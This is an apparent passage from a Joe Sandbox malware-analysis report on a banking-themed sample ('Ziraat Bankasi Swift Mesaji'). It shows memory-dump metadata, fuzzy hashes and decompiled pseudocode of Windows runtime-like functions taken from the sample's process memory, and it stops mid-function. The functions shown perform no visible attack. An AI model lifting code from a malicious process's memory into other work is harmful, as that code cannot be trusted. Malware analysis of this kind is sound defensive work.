                                                                        0x012ad322
                                                                        0x012ad330
                                                                        0x012ad337
                                                                        0x012ad35d
                                                                        0x012ad339
                                                                        0x012ad33f
                                                                        0x012ad38c
                                                                        0x012ad38c
                                                                        0x012ad33f
                                                                        0x012ad349
                                                                        0x00000000
                                                                        0x012ad349

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @
                                                                        • API String ID: 0-2766056989
                                                                        • Opcode ID: 3b80a525241c9450386633b30e3944a5790a86630544986954dfab76f4afdcbc
                                                                        • Instruction ID: 296a7eb60288a3c59d3b53bfca797c6b1de38685ed367b70e8f55dbec9e25938
                                                                        • Opcode Fuzzy Hash: 3b80a525241c9450386633b30e3944a5790a86630544986954dfab76f4afdcbc
                                                                        • Instruction Fuzzy Hash: FC31CFB156830A9FC711DF68C881AAFBBE8EB95754F40092EFA9483610D634DD04CF92
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01281B8F Relevance: 1.3, Strings: 1, Instructions: 86COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 72%
                                                                        			E01281B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E012BBB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E012BA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E012BA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L01294620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}









                                                                        0x01281b8f
                                                                        0x01281b9a
                                                                        0x01281b9c
                                                                        0x01281b9e
                                                                        0x01281ba3
                                                                        0x012d7010
                                                                        0x012d7010
                                                                        0x00000000
                                                                        0x01281ba9
                                                                        0x01281ba9
                                                                        0x01281bae
                                                                        0x00000000
                                                                        0x01281bc5
                                                                        0x01281bca
                                                                        0x01281bcf
                                                                        0x01281bd0
                                                                        0x01281bd1
                                                                        0x01281bd2
                                                                        0x01281bd6
                                                                        0x01281bdc
                                                                        0x01281be0
                                                                        0x012d6ffc
                                                                        0x012d7000
                                                                        0x00000000
                                                                        0x012d7006
                                                                        0x012d7009
                                                                        0x012d7009
                                                                        0x01281be6
                                                                        0x01281bec
                                                                        0x01281c0b
                                                                        0x01281c0b
                                                                        0x01281c0c
                                                                        0x01281c11
                                                                        0x01281c12
                                                                        0x01281c15
                                                                        0x01281c1b
                                                                        0x01281c1f
                                                                        0x01281c31
                                                                        0x01281c33
                                                                        0x012d7026
                                                                        0x012d7026
                                                                        0x01281c21
                                                                        0x01281c24
                                                                        0x01281c24
                                                                        0x01281bee
                                                                        0x01281bee
                                                                        0x01281bf2
                                                                        0x01281c3a
                                                                        0x01281bf4
                                                                        0x01281bf4
                                                                        0x01281c05
                                                                        0x01281c05
                                                                        0x01281c09
                                                                        0x01281c3e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01281c09
                                                                        0x01281bec
                                                                        0x01281be0
                                                                        0x01281bae
                                                                        0x01281c2e

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: WindowsExcludedProcs
                                                                        • API String ID: 0-3583428290
                                                                        • Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                                                        • Instruction ID: 0085955af74d5bd10f092726d7c04de018be50aee8b27b6f090d1f1b87893807
                                                                        • Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
                                                                        • Instruction Fuzzy Hash: 8B210A7652251AAFDB22AA59C880FAB7B6DEF40A51F054425FF04DB2C0D634DC12D7A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129F716 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0129F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}











                                                                        0x0129f71d
                                                                        0x0129f722
                                                                        0x0129f726
                                                                        0x012e4770
                                                                        0x0129f765
                                                                        0x0129f769
                                                                        0x0129f769
                                                                        0x0129f732
                                                                        0x012e477a
                                                                        0x00000000
                                                                        0x012e477a
                                                                        0x0129f738
                                                                        0x0129f73a
                                                                        0x0129f73c
                                                                        0x0129f73f
                                                                        0x0129f746
                                                                        0x0129f778
                                                                        0x0129f7a9
                                                                        0x0129f7a9
                                                                        0x0129f754
                                                                        0x0129f75a
                                                                        0x0129f75d
                                                                        0x0129f75f
                                                                        0x0129f761
                                                                        0x0129f76f
                                                                        0x0129f771
                                                                        0x0129f771
                                                                        0x0129f76f
                                                                        0x0129f763
                                                                        0x00000000
                                                                        0x0129f763
                                                                        0x0129f77d
                                                                        0x0129f7a3
                                                                        0x0129f7a5
                                                                        0x00000000
                                                                        0x0129f7a5
                                                                        0x0129f77f
                                                                        0x0129f782
                                                                        0x0129f784
                                                                        0x0129f786
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129f788
                                                                        0x0129f748
                                                                        0x0129f74d
                                                                        0x0129f78d
                                                                        0x0129f793
                                                                        0x0129f7b7
                                                                        0x0129f7bc
                                                                        0x00000000
                                                                        0x0129f7bc
                                                                        0x0129f798
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129f79d
                                                                        0x0129f7b0
                                                                        0x00000000
                                                                        0x0129f7b0
                                                                        0x0129f79f
                                                                        0x00000000
                                                                        0x0129f74f
                                                                        0x0129f74f
                                                                        0x00000000
                                                                        0x0129f74f

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Actx
                                                                        • API String ID: 0-89312691
                                                                        • Opcode ID: 192ac136e53cac0d76c475876d893674b1cd4a5c1008a35cc21c92721de5ae31
                                                                        • Instruction ID: 2bd9662de0c7cd56177444e3999ea7b022ec5a0203c29a4500bbffa043485abe
                                                                        • Opcode Fuzzy Hash: 192ac136e53cac0d76c475876d893674b1cd4a5c1008a35cc21c92721de5ae31
                                                                        • Instruction Fuzzy Hash: 281190353387038BEFAD4E1D8B957BE7E95AB85624F24452AE661CB391DAB0C840C341
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01328DF1 Relevance: 1.3, Strings: 1, Instructions: 45COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 71%
                                                                        			E01328DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x1350d50);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E01305720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = E012CDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				E012CDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E012CD130(_t34, _t39, _t40);
			}





                                                                        0x01328df1
                                                                        0x01328df1
                                                                        0x01328df1
                                                                        0x01328df1
                                                                        0x01328df1
                                                                        0x01328df1
                                                                        0x01328df3
                                                                        0x01328df8
                                                                        0x01328dfd
                                                                        0x01328e00
                                                                        0x01328e0e
                                                                        0x01328e2a
                                                                        0x01328e36
                                                                        0x01328e38
                                                                        0x01328e3c
                                                                        0x01328e46
                                                                        0x01328e46
                                                                        0x01328e36
                                                                        0x01328e50
                                                                        0x01328e56
                                                                        0x01328e59
                                                                        0x01328e5c
                                                                        0x01328e60
                                                                        0x01328e67
                                                                        0x01328e6d
                                                                        0x01328e73
                                                                        0x01328e74
                                                                        0x01328eb1
                                                                        0x01328ebd

                                                                        Strings
                                                                        • Critical error detected %lx, xrefs: 01328E21
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Critical error detected %lx
                                                                        • API String ID: 0-802127002
                                                                        • Opcode ID: fbfa73b14a5a93459354d19baf1c93ecf5f8dbf5a3c4bf0f7d37e2804c932586
                                                                        • Instruction ID: 50ec1aa0b066bd451b021ace57ac318bfee697283ad5f6c7fb9414e41ef15382
                                                                        • Opcode Fuzzy Hash: fbfa73b14a5a93459354d19baf1c93ecf5f8dbf5a3c4bf0f7d37e2804c932586
                                                                        • Instruction Fuzzy Hash: C4115B71D2534CDBDF25DFA885057ACBBF4BB14718F20426DD5696B282C3750601CF54
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01345BA5 Relevance: .6, Instructions: 592COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 88%
                                                                        			E01345BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x1351178);
				E012CD0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E01344C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E012BD000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E01345542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x13660e8;
								if( *0x13660e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x13660e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E012B9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E012B6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E012BF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E012BF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E012BF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E012BFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E012BFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
